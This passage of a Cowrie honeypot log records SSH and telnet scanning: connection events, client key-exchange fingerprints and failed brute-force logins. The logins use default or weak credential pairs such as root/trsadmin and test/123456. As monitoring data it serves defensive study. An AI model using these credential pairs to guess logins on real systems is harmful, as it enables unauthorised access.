istp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:06.022355Z","src_ip":"45.156.87.254","session":"64ee183aabd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:06.413650Z","src_ip":"45.156.87.254","session":"64ee183aabd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:06.542830Z","src_ip":"182.253.168.47","session":"46b424d198a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:07.500136Z","src_ip":"45.156.87.254","session":"64ee183aabd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45936,"dst_ip":"159.203.135.109","dst_port":22,"session":"d19c5ff04a6a","protocol":"ssh","message":"New connection: 45.156.87.254:45936 (159.203.135.109:22) [session: d19c5ff04a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:10.163167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:10.330896Z","src_ip":"45.156.87.254","session":"d19c5ff04a6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:10.334810Z","src_ip":"45.156.87.254","session":"d19c5ff04a6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:10.727927Z","src_ip":"45.156.87.254","session":"d19c5ff04a6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:11.813406Z","src_ip":"45.156.87.254","session":"d19c5ff04a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45938,"dst_ip":"159.203.135.109","dst_port":22,"session":"1448a1092c72","protocol":"ssh","message":"New connection: 45.156.87.254:45938 (159.203.135.109:22) [session: 1448a1092c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:14.257847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:14.262016Z","src_ip":"45.156.87.254","session":"1448a1092c72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:14.346908Z","src_ip":"45.156.87.254","session":"1448a1092c72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:14.618190Z","src_ip":"45.156.87.254","session":"1448a1092c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41632,"dst_ip":"10.17.0.5","dst_port":23,"session":"742a0cb68f58","protocol":"telnet","message":"New connection: 104.245.105.2:41632 (10.17.0.5:23) [session: 742a0cb68f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:14.950062Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:15.710416Z","src_ip":"45.156.87.254","session":"1448a1092c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45954,"dst_ip":"159.203.135.109","dst_port":22,"session":"24bfd465c6c3","protocol":"ssh","message":"New connection: 45.156.87.254:45954 (159.203.135.109:22) [session: 24bfd465c6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:18.503379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:18.508096Z","src_ip":"45.156.87.254","session":"24bfd465c6c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:18.590218Z","src_ip":"45.156.87.254","session":"24bfd465c6c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:18.838144Z","src_ip":"45.156.87.254","session":"24bfd465c6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":41546,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e7799992823","protocol":"ssh","message":"New connection: 194.59.206.2:41546 (10.17.0.5:22) [session: 4e7799992823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:19.583335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:19.588113Z","src_ip":"194.59.206.2","session":"4e7799992823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:19.694182Z","src_ip":"194.59.206.2","session":"4e7799992823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:19.791378Z","src_ip":"194.59.206.2","session":"4e7799992823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:19.956705Z","src_ip":"45.156.87.254","session":"24bfd465c6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":48120,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e99f3faf4fb","protocol":"ssh","message":"New connection: 88.205.172.170:48120 (10.17.0.5:22) [session: 4e99f3faf4fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:20.212102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:20.265698Z","src_ip":"88.205.172.170","session":"4e99f3faf4fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:20.506145Z","src_ip":"88.205.172.170","session":"4e99f3faf4fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trsadmin","message":"login attempt [root/trsadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:21.140375Z","src_ip":"88.205.172.170","session":"4e99f3faf4fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:22.306220Z","src_ip":"88.205.172.170","session":"4e99f3faf4fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35192,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9c855ce5547","protocol":"ssh","message":"New connection: 45.156.87.254:35192 (159.203.135.109:22) [session: f9c855ce5547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:22.443294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:22.448550Z","src_ip":"45.156.87.254","session":"f9c855ce5547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:22.532052Z","src_ip":"45.156.87.254","session":"f9c855ce5547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:22.904602Z","src_ip":"45.156.87.254","session":"f9c855ce5547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:23.990221Z","src_ip":"45.156.87.254","session":"f9c855ce5547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35200,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cc334f5d551","protocol":"ssh","message":"New connection: 45.156.87.254:35200 (159.203.135.109:22) [session: 8cc334f5d551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:26.203127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:26.208055Z","src_ip":"45.156.87.254","session":"8cc334f5d551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:26.291277Z","src_ip":"45.156.87.254","session":"8cc334f5d551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"123456","message":"login attempt [terraria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:26.874264Z","src_ip":"45.156.87.254","session":"8cc334f5d551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:27.957863Z","src_ip":"45.156.87.254","session":"8cc334f5d551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":36662,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2d595dd45c4","protocol":"ssh","message":"New connection: 45.156.87.254:36662 (159.203.135.109:22) [session: a2d595dd45c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:30.395561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:30.401021Z","src_ip":"45.156.87.254","session":"a2d595dd45c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:13:30.488196Z","src_ip":"45.156.87.254","session":"a2d595dd45c4","protocol":"ssh"}
